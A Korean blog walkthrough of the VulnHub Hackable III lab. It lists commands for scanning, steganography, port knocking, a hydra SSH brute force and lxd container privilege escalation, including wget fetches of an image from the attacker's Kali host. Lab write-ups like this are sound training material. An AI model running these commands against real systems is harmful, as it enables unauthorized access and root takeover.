hackable3 환경 실습
실습 환경
- VMware로 구성
- Kali Linux[설치 경로 : https://www.kali.org/get-kali/#kali-virtual-machines]
- hackable3[설치 경로 : https://www.vulnhub.com/entry/hackable-iii,720/]
실습 목표
- 이 실습을 통해 Port Knocking에 대해 숙지
- 이 실습을 통해 스테가노그래피 개념과 해독 방법에 대해 숙지
진행 절차
Reconnaissance(정찰)
Step 1. hackable3 환경 VirtualBox에서 부팅 시, login 페이지가 뜨나 계정 정보를 알고 있지 않음
해당 서버에 취약점을 이용하여 계정 정보를 몰라도 권한 탈취하는 것이 목표
Step 2. 해당 서버 IP정보를 획득하기 위하여 Kali Linux를 활성화 후, 같은 네트워크 IP 대역 정보를 획득
- Kali Linux와 Hackable을 VirtualBox에서 NAT로 같은 네트워크로 설정 필요
- VMware에서는 x.x.x.[1,2,3]은 예약된 IP로 해당 IP 이외에 탐지된 IP 확인 필요
명령어 |
root@kali#arp-scan –I eth0 -l |
Step 3. 해당 서버 Open된 포트 및 설정 정보들을 확인하기 위하여 NMAP을 사용하여 정보 수집
- Open된 포트 : SSH(22/TCP), HTTP(80/TCP)
- NMAP을 통해 발견한 사실 : 확인된 포트가 SSH, HTTP 이나 SSH는 필터링되어 접근이 불가능한 것을 확인. HTTP에 취약한 설정이 있는지 확인 필요
명령어 |
root@kali#nmap –sV –sC –p- [점검할 IP] |
Step 4. 더 자세한 정보를 알기 위해 nikto를 사용해 조회해본 결과, 디렉토리 인덱싱, 관리자 페이지 노출, 웹 CGI 취약점이 있는 것으로 확인되며 이를 이용해서 추가 공격을 할 수 있을 것으로 판단.
명령어 |
root@kali#nikto –h http://[점검할 IP] |
Step 5. 해당 웹 페이지로 접근 후 페이지 소스 보기를 클릭하면, 사용자 정보와 포트 노킹이 걸려 있음을 확인. nikto를 통해 수집한 관리자 페이지 접근 시, 빈 화면이 뜨고 있으며 페이지 소스에서 ‘3.jpg’를 참조하고 있는 것으로 확인
Resource Development(자원 개발)
Step 6. ‘3.jpg’ 파일을 다운로드 후 스테가노그래피를 통해 이미지에 숨겨져 있는 암호가 있는지 확인.
명령어 |
root@kali#steghide extract –sf 3.jpg |
root@kali#cat steganopayload148505.txt |
Step 7. nikto를 통해 수집한 ‘/config’ 경로로 이동 시, Base64로 암호화된 문자가 보여 디코딩 시, ‘10000’으로 찍히는 것을 확인. knocking에 필요한 값으로 추측을 하고 추가 정보를 수집하기 위해 dirb를 통해 디렉토리 경로 탐색 시, ‘/backup’, ‘/imagens’, ‘/css’ 등이 있는 것으로 확인
명령어 |
root@kali#echo MTAwMDA= | base64 -d |
root@kali#dirb http://[점검할 IP] |
Step 8. ‘/css’ 경로로 이동하여 ‘2.txt’ 파일 열람 시, brainfuck 언어로 나타내고 있는 것으로 확인되어, 디코딩 하는 사이트로 이동하여 복호화 진행 시, ‘4444’로 확인. knocking에 필요한 값으로 추측
- 복호화 사이트 : https://www.dcode.fr/brainfuck-language
Brainfuck Language - Online Decoder, Translator, Interpreter
Tool to decode/encode in Brainfuck, an esoteric programming language consisting of characters like ++++---[+++].
www.dcode.fr
Step 9. 발견한 숫자로 포트 노킹을 해제를 진행하면 정상적으로 동작하는 것으로 확인. nmap으로 다시 확인해본 결과, ssh가 필터링이 해제된 것으로 확인
명령어 |
root@kali#knock [점검할 IP] 10000 4444 65535 |
root@kali#nmap –sV –p- [점검할 IP] |
Execution(실행)
Step 10. 포트 노킹되어 있는 서버를 침투하는 것으로 추측하고, dirb 명령어를 통해 수집한 경로 ‘/backup’으로 접근 시, wordlist가 존재하는 것으로 확인. 해당 문서로 패스워드 무작위 대입을 할 수 있을 것으로 추측. 해당 파일을 다운로드 후, 패스워드 크랙 도구인 hydra를 통해 무작위 대입 시 정상적으로 로그인 되는 것을 확인
명령어 |
root@kali#mousepad pass.txt |
root@kali#hydra -l jubiscleudo -P pass.txt [점검할 IP] ssh |
Privilege Escalation(권한 상승)
Step 11. 해당 계정으로 접근 후, 웹 루트 디렉토리(/var/www/) 경로로 이동 후, web 중요 파일로 추측되는 config.php 조회 시, 루트 계정 정보 확인. 해당 계정으로 접속하려 했으나 접근 실패하여 다른 config 파일을 확인해보니 다른 계정 접속 정보 있는 것으로 확인. 해당 계정으로 접근 시 정상적으로 접근 확인
Step 12. 해당 계정의 id를 확인했을 때, 컨테이너(lxd) 권한이 있는 것으로 확인. lxd를 통한 권한 상승은 이미 가지고 있는 로컬 계정을 사용해야하므로, lxd용 이미지를 생성 및 컨테이너 설치 등을 진행
- 사전에 수행해야 하는 업무 : ⓵ alpine 이미지 설치 ⓶ 이미지를 lxd로 가져옴 ⓷ 이미지를 보관할 새 컨터에너를 만듦 ⓸ 컨테이너 /root에 마운트 되도록 설정
※ lxd/lxc 권한 상승 : lxd 그룹의 사용자는 일반적으로 Linux 컨테이너를 시작하고 관리할 수 있는데, 해당 그룹에 속해 있는 사용자는 루트 파일 시스템을 마운트하고 권한 상승할 수 있는 권한이 부여받을 수 있다.
명령어 |
root@kali#apt isntall -y golang-go debootstrap rsync gpg squashfs-tools |
root@kali#git clone https://github.com/lxc/distrobuilder |
root@kali#cd distrobuilder |
root@kali#make |
root@kali#mkdir -p $HOME/ContainerImages/alpine/ |
root@kali#cd $HOME/ContainerImages/alpine |
root@kali#wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml |
root@kali#sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.9 |
root@kali#python3 -m http.server 80 |
Step 13. python http 서버를 사용하여 alpine-image를 받아온 후, 이미지 import 후 확인해본결과, 스토리지 풀이 없다는 것을 확인 후 디폴트 값으로 초기화 진행 후, lxc 실행 및 /bin/sh 권한으로 변경 시 루트 권한 탈취 확인
명령어 |
hackable_3@ubuntu20$wget http://[칼리 리눅스 IP]/lxd.tar.xz |
hackable_3@ubuntu20$wget http://[칼리 리눅스 IP]/rootfs.squashfs |
hackable_3@ubuntu20$lxc image import lxd.tar.xz rootfs.squashfs --alias alpine |
hackable_3@ubuntu20$lxc image list |
hackable_3@ubuntu20$lxc init alpine privesc -c security.privileged-true |
hackable_3@ubuntu20$lxd init |
hackable_3@ubuntu20$lxc init alpine privesc -c security.privileged=true |
hackable_3@ubuntu20$lxc list |
hackable_3@ubuntu20$lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true |
hackable_3@ubuntu20$lxc start privesc |
hackable_3@ubuntu20$lxc exec privesc /bin/sh |
'vulnhub' 카테고리의 다른 글
vulnuhub [Sick0s] (1) | 2023.10.17 |
---|---|
Vulnhub [Moriarty Corp] (1) | 2023.10.17 |
Vulnhub[holynix] (0) | 2023.08.16 |
Vulnhub[Kioptix Level1] (0) | 2023.08.16 |
Vulnhub[Win7 환경 실습] (0) | 2023.08.16 |